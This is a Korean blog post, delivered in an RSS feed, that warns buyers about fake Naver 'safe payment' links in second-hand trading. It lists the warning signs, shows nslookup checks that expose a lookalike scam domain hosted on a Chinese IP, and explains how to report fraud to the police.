<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>빨리 찾고 쉬자. Tiprest</title>
    <link>https://chmodi.tistory.com/</link>
    <description>살면서 모은 팁.
그만 찾고 쉬자.
#재테크 #IT #정보보안</description>
    <language>ko</language>
    <pubDate>Mon, 13 Apr 2026 17:30:42 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>루딘이</managingEditor>
    <image>
      <title>빨리 찾고 쉬자. Tiprest</title>
      <url>https://t1.daumcdn.net/cfile/tistory/21520A47565C2A1604</url>
      <link>https://chmodi.tistory.com</link>
    </image>
    <item>
      <title>네이버 중고거래 안전결제 사기</title>
      <link>https://chmodi.tistory.com/186</link>
      <description>&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;우선 신고 / 제보 방법&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 글은 보통 피해가 발생하고 찾는 경우가 많기 때문에...&lt;br /&gt;위로의 말씀 드립니다...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주소: &lt;a href=&quot;https://ecrm.police.go.kr/minwon/main&quot;&gt;https://ecrm.police.go.kr/minwon/main&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;사이트 내 &lt;code&gt;신고하기&lt;/code&gt; 페이지에서 진행&lt;/li&gt;
&lt;li&gt;단, &lt;b&gt;신고&lt;/b&gt;는 피해를 입은 사람만 가능하다.&lt;/li&gt;
&lt;li&gt;피해를 입지 않은 사람은 &lt;b&gt;제보&lt;/b&gt;를 할 수 있음.&lt;/li&gt;
&lt;li&gt;네이버에서는 고객센터 전화 연결하기도 힘들고 피해를 입지 않으면 판매자 신고도 안된다.&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;의심 방법&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;1 단계. 전화번호(or 안심번호) 가 없다.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 의심 point&lt;/b&gt;: 팔아보면 안다. 최대한 빨리 팔려면 전화번호도 올려서 문자로 응대해야한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2단계. &lt;code&gt;다른 메신저&lt;/code&gt;로 연락&lt;br /&gt;&lt;/b&gt;&lt;b&gt;- 의심 point&lt;/b&gt;&lt;span style=&quot;color: #333333; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;: 위와 같다. 문자와 네이버/중고거래앱 채팅이 있는데...?&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;- 이 경우에는 자연스럽게 부부, 가족, 커플, 친구 등으로 연결하는 경우가 있다.&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;- 본인인데 연기하는 것일 수도.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;b&gt;3단계. &lt;code&gt;안전 결제 주소&lt;/code&gt; 안내&lt;br /&gt;&lt;/b&gt;&lt;b&gt;- 의심 point&lt;/b&gt;&lt;span style=&quot;color: #333333; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;: 네이버 기준으로 설명하자면 내 계정이 로그인되어 있는 데 주소를 입력하라고함.&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;- 판매자 응대 시 자연스럽게 결제 주소를 알려준다.&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;- 다른 의심점은 아래에 상세하게 기술함.&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1단계. 전화번호(or 안심번호)가 없다.&lt;/b&gt;&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 안 적는 사람도 많긴 함.&lt;br /&gt;안전거래 여부 상관없이 계좌번호를 필수로 사기 조회 해볼 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 안심번호를 사용할 수 있다.&lt;br /&gt;하지만, 전화번호를 공개하기 꺼리는 경우 안올리는 경우도 많다.&lt;br /&gt;개인정보보호...랄까.&lt;br /&gt;(이 부분에 대해 사견으론 광고나 스팸 문자를 받는 순간 이미 늦었다고 생각하는 게....)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1257&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJv1zK/btsLmitahdP/QCKBwpQdnBcoNKKKzkkZxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJv1zK/btsLmitahdP/QCKBwpQdnBcoNKKKzkkZxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJv1zK/btsLmitahdP/QCKBwpQdnBcoNKKKzkkZxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJv1zK%2FbtsLmitahdP%2FQCKBwpQdnBcoNKKKzkkZxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;609&quot; data-origin-width=&quot;1257&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;실제 사기글&lt;/b&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 전화번호가 없다.&lt;br /&gt;&lt;b&gt;계좌번호&lt;/b&gt;를 반드시 &lt;b&gt;사기 조회&lt;/b&gt; 해볼 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;1032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cq65Lk/btsLj2ey8Sq/sOITKnlyikYubMRpDXGz3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cq65Lk/btsLj2ey8Sq/sOITKnlyikYubMRpDXGz3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cq65Lk/btsLj2ey8Sq/sOITKnlyikYubMRpDXGz3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcq65Lk%2FbtsLj2ey8Sq%2FsOITKnlyikYubMRpDXGz3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;444&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;1032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘에는 게시글의 퀄리티가 매우 높다.&lt;br /&gt;지극 정성이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1632&quot; data-origin-height=&quot;1518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Nhjpj/btsLmaBZpFp/Ag1VK3Xp1eH7k0Gw8ovo01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Nhjpj/btsLmaBZpFp/Ag1VK3Xp1eH7k0Gw8ovo01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Nhjpj/btsLmaBZpFp/Ag1VK3Xp1eH7k0Gw8ovo01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNhjpj%2FbtsLmaBZpFp%2FAg1VK3Xp1eH7k0Gw8ovo01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;651&quot; data-origin-width=&quot;1632&quot; data-origin-height=&quot;1518&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2단계. 다른 수단으로 연락&lt;/b&gt;&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전엔 대놓고 다른 메신저에서 연락하라고 안내했으나,&lt;br /&gt;이제는 자연스러운 이유로 넘어가게 한다.&lt;br /&gt;(ex. 부부, 가족, 커플, 친구 등?)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;1386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4GNpc/btsLkGB7Pmi/84gn5BKbN3ndbAteH3kxs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4GNpc/btsLkGB7Pmi/84gn5BKbN3ndbAteH3kxs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4GNpc/btsLkGB7Pmi/84gn5BKbN3ndbAteH3kxs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4GNpc%2FbtsLkGB7Pmi%2F84gn5BKbN3ndbAteH3kxs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;996&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;1386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/siGPy/btsLkINmQog/QQEGxH6T1R4hB9b30QXsyk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/siGPy/btsLkINmQog/QQEGxH6T1R4hB9b30QXsyk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/siGPy/btsLkINmQog/QQEGxH6T1R4hB9b30QXsyk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsiGPy%2FbtsLkINmQog%2FQQEGxH6T1R4hB9b30QXsyk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;954&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3단계. 안전 결제 주소 안내&lt;/b&gt;&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기도 예전과는 다른게 최대한 naver 주소와 비슷하게 만듦.&lt;br /&gt;근데 이거 때문에 간신히 고객센터 연결해서 물어봤는 데 확인은 안해줬음...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 본인은 여기서 결제하려고 했음...&lt;br /&gt;다행히 페이지가 동작을 안하길래 NT적 사고가&lt;br /&gt;네이버가 만든 건데 안된다고? 까지 미쳐서&lt;br /&gt;결제를 안하고 조사하게 된거...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;의심 1. 네이버는 판매글에서 바로 안전결제하는 구조&lt;/b&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;절대로 링크를 줄리가 없다.&lt;/code&gt;&lt;br /&gt;간혹(?), 정말 착한 판매자가 실제 안전결제 링크를 줄 수 있으나 개인적 경험으론 그런 일은 발생한 적이 없다...&lt;br /&gt;오히려 착하면 이상한 세상이랄까...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 정말 착한 사람일 수 있으니 판매글에서도 안전결제가 가능해야하므로&lt;br /&gt;링크를 받게 되면 &lt;b&gt;판매글에서 안전결제가 가능한지 확인해볼 것.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;의심 2. 배송지 등록&lt;/b&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;링크를 클릭하면 주문/결제 페이지로 접속하게 된다.&lt;br /&gt;그런데, 네이버 결제 페이지에서 내 정보가 안 뜬다? 다시 입력하라고? 말이 안된다.&lt;br /&gt;진짜 네이버가 그러면 개발부서 실망이다. 그 네카라쿠배의 네이버가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 사기 사이트이다. 배송지를 입력하라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2529&quot; data-origin-height=&quot;1926&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wDVYI/btsLlZUUAu0/K9nHaOLgwBgiXOQQq7pLo1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wDVYI/btsLlZUUAu0/K9nHaOLgwBgiXOQQq7pLo1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wDVYI/btsLlZUUAu0/K9nHaOLgwBgiXOQQq7pLo1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwDVYI%2FbtsLlZUUAu0%2FK9nHaOLgwBgiXOQQq7pLo1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;533&quot; data-origin-width=&quot;2529&quot; data-origin-height=&quot;1926&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;의심 3. 안전결제 수수료&lt;/b&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전결제 수수료는 적어도 네이버에서는 판매금액의 일정 비율로 정해진다.&lt;br /&gt;게다가....이미지처럼 싸지도 않다...&lt;br /&gt;물론 이거는 사기 방식에 대한 피드백(신고)와 개선을 통해 자동 계산되도록 바뀔 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;의심 4. naver.com 이 아님&lt;/b&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 주소는 naverllpay.com 으로 적혀 있다.&lt;br /&gt;하지만 실제 주소는 &lt;a href=&quot;https://orders.pay.naver.com/&quot;&gt;https://orders.pay.naver.com/&lt;/a&gt; 로 naver.com 이다.&lt;br /&gt;정상적으로 접속하면 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;1762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bz6RE0/btsLlaiEQlz/OH711b1gM48cTv5lLgZ3Ck/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bz6RE0/btsLlaiEQlz/OH711b1gM48cTv5lLgZ3Ck/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bz6RE0/btsLlaiEQlz/OH711b1gM48cTv5lLgZ3Ck/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbz6RE0%2FbtsLlaiEQlz%2FOH711b1gM48cTv5lLgZ3Ck%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;714&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;1762&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;의심 5. 중국 IP&lt;/b&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중국 IP...물론 싸니까 쓸 수 있다. 다만 네이버가...?&lt;br /&gt;네이버는 &lt;code&gt;네이버클라우드&lt;/code&gt;라는 계열사가 있다.&lt;br /&gt;중국껄 쓴다고?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h5&gt;&lt;b&gt;IP 확인 방법&lt;/b&gt;&lt;/h5&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP 확인&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;윈도우: 실행 - cmd.exe&lt;/li&gt;
&lt;li&gt;Apple: console&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;nslookup&lt;/code&gt; 입력 후 확인된 URL 주소 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 사기 사이트 조회 결과&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;&amp;gt; new.cafe.naverllpay.com
Server:        168.126.63.1
Address:    168.126.63.1#53

Non-authoritative answer:
Name:    new.cafe.naverllpay.com
Address: 103.117.72.232&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 네이버 조회 결과&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;&amp;gt; orders.pay.naver.com
Server:        168.126.63.1
Address:    168.126.63.1#53

Non-authoritative answer:
orders.pay.naver.com    canonical name = orders.pay.naver.com.nheos.com.
Name:    orders.pay.naver.com.nheos.com
Address: 117.52.133.21
Name:    orders.pay.naver.com.nheos.com
Address: 117.52.133.22

&amp;gt; orders.pay.naver.com.nheos.com
Server:        168.126.63.1
Address:    168.126.63.1#53

Non-authoritative answer:
Name:    orders.pay.naver.com.nheos.com
Address: 110.93.154.9
Name:    orders.pay.naver.com.nheos.com
Address: 110.93.154.8&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h5&gt;&lt;b&gt;국가 확인 방법&lt;/b&gt;&lt;/h5&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://후이즈검색.한국&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 확인된 IP 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 사기 사이트 IP 조회 결과&lt;br /&gt;중국으로 나온다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;1500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GqPZb/btsLjU8Sg6P/KTZnha3LSXtrA6QzM3kpWK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GqPZb/btsLjU8Sg6P/KTZnha3LSXtrA6QzM3kpWK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GqPZb/btsLjU8Sg6P/KTZnha3LSXtrA6QzM3kpWK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGqPZb%2FbtsLjU8Sg6P%2FKTZnha3LSXtrA6QzM3kpWK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;608&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;1500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 네이버 IP 조회 결과&lt;br /&gt;네이버 클라우드를 확인할 수 있다.&lt;br /&gt;적어도 한국 통신사가 나온다.&lt;/p&gt;
&lt;/blockquote&gt;
